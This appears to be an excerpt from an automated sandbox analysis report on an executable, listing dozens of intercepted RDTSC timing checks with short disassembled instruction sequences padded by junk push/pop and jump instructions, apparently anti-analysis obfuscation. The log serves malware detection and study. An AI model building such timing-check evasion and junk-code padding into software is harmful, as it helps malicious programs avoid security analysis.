Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 229A27 second address: 229A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 229B32 second address: 229B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22A518 second address: 22A51E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22A51E second address: 22A539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22A539 second address: 22A53F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22A79A second address: 22A7C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A152120Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D2CE7h], ecx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 jmp 00007F80A152120Bh 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22ACFE second address: 22AD02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22AD02 second address: 22AD2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jl 00007F80A1521206h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22AD2B second address: 22AD30 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22B4A4 second address: 22B4DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jg 00007F80A152120Ch 0x00000011 jnp 00007F80A1521206h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F80A1521213h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22BEF0 second address: 22BEF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22D271 second address: 22D2B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007F80A1521210h 0x0000000d nop 0x0000000e mov si, 79AEh 0x00000012 push 00000000h 0x00000014 mov si, 11C0h 0x00000018 push 00000000h 0x0000001a cld 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F80A1521217h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22E94D second address: 22E953 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22F4C5 second address: 22F4C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22DBA9 second address: 22DBAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22DBAF second address: 22DBB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22FF31 second address: 22FF51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 234C63 second address: 234C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 235B7D second address: 235B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22F28D second address: 22F292 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 235B81 second address: 235BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F80A144E1E3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 sub dword ptr [ebp+122D35C5h], edx 0x00000016 push 00000000h 0x00000018 add edi, 4F037F58h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007F80A144E1D8h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F80A144E1E7h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2307FC second address: 23080E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jl 00007F80A152120Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 234DB8 second address: 234DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jng 00007F80A144E1E0h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 235BEC second address: 235BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 235BF0 second address: 235BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 235BF6 second address: 235C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F80A1521206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 236A9F second address: 236AB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 236AB4 second address: 236AB9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 235D8C second address: 235D96 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F80A144E1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 235D96 second address: 235DA0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F80A152120Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 238C29 second address: 238C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 238C2E second address: 238C38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F80A1521206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 237D8A second address: 237D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F80A144E1D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23A8E8 second address: 23A931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F80A1521206h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F80A1521208h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov ebx, 0757639Ah 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 mov edi, eax 0x00000033 xchg eax, esi 0x00000034 ja 00007F80A152120Ah 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push ecx 0x00000040 pop ecx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23A931 second address: 23A94C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 239C22 second address: 239C27 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 239C27 second address: 239C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 239C33 second address: 239C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23B86F second address: 23B879 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F80A144E1DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23B879 second address: 23B893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F80A1521211h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23B893 second address: 23B89A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23B911 second address: 23B915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23B915 second address: 23B921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23C985 second address: 23C989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23DA73 second address: 23DB18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F80A144E1DFh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F80A144E1D8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov ebx, 746CB132h 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b push 00000000h 0x0000003d push edi 0x0000003e call 00007F80A144E1D8h 0x00000043 pop edi 0x00000044 mov dword ptr [esp+04h], edi 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc edi 0x00000051 push edi 0x00000052 ret 0x00000053 pop edi 0x00000054 ret 0x00000055 mov eax, dword ptr [ebp+122D0E49h] 0x0000005b add dword ptr [ebp+122D3511h], esi 0x00000061 push FFFFFFFFh 0x00000063 add dword ptr [ebp+122D35E1h], ebx 0x00000069 jnp 00007F80A144E1DBh 0x0000006f nop 0x00000070 jnp 00007F80A144E1E4h 0x00000076 push eax 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a push edi 0x0000007b pop edi 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23EA84 second address: 23EA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F80A1521206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 23EA96 second address: 23EAB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F80A144E1E5h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 242950 second address: 242955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 242955 second address: 24297A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F80A144E1E3h 0x00000008 jnp 00007F80A144E1D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24297A second address: 24297E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 241B00 second address: 241B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 241B04 second address: 241B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24387F second address: 24390F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F80A144E1D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F80A144E1D8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 jp 00007F80A144E1D8h 0x0000002f push edi 0x00000030 pop ebx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F80A144E1D8h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d jmp 00007F80A144E1E3h 0x00000052 mov di, B530h 0x00000056 jmp 00007F80A144E1E6h 0x0000005b push 00000000h 0x0000005d and ebx, 500E8FF7h 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push esi 0x00000067 push ebx 0x00000068 pop ebx 0x00000069 pop esi 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 241B08 second address: 241B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24593E second address: 24595F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F80A144E1F4h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24595F second address: 24597F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A1521218h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24597F second address: 245983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 245983 second address: 245989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 245989 second address: 245996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1F346E second address: 1F3472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EC695 second address: 1EC6CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F80A144E1E2h 0x00000008 jmp 00007F80A144E1E6h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 js 00007F80A144E1DCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EC6CC second address: 1EC6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F80A1521224h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24D386 second address: 24D38A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24D38A second address: 24D3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007F80A1521206h 0x00000013 popad 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 jns 00007F80A1521206h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 251D4E second address: 251D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2530E9 second address: 2530EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25866A second address: 25866E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25866E second address: 258680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F80A1521206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 258680 second address: 25869E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A144E1E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25869E second address: 2586A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2586A2 second address: 2586A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 258D6E second address: 258DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F80A1521206h 0x0000000a pop edi 0x0000000b pushad 0x0000000c jmp 00007F80A1521213h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F80A1521217h 0x00000018 ja 00007F80A1521206h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 258DAC second address: 258DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25901E second address: 259033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F80A1521211h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 259033 second address: 259037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 259037 second address: 25906F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F80A1521206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F80A152120Bh 0x00000012 jmp 00007F80A152120Fh 0x00000017 jmp 00007F80A1521210h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25906F second address: 25908E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F80A144E1DCh 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b js 00007F80A144E1D6h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25BFC3 second address: 25BFE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F80A1521218h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1E46AF second address: 1E46B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261698 second address: 26169C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2619E8 second address: 2619EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261B64 second address: 261B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261B6A second address: 261B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jl 00007F80A144E1DAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261B7D second address: 261B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F80A1521213h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261B96 second address: 261BA0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F80A144E1D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261EE3 second address: 261EE8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261FFF second address: 262003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 262003 second address: 262011 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F80A1521206h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 262172 second address: 26217A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26231B second address: 262320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 262320 second address: 262328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26247A second address: 262480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 262480 second address: 262486 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
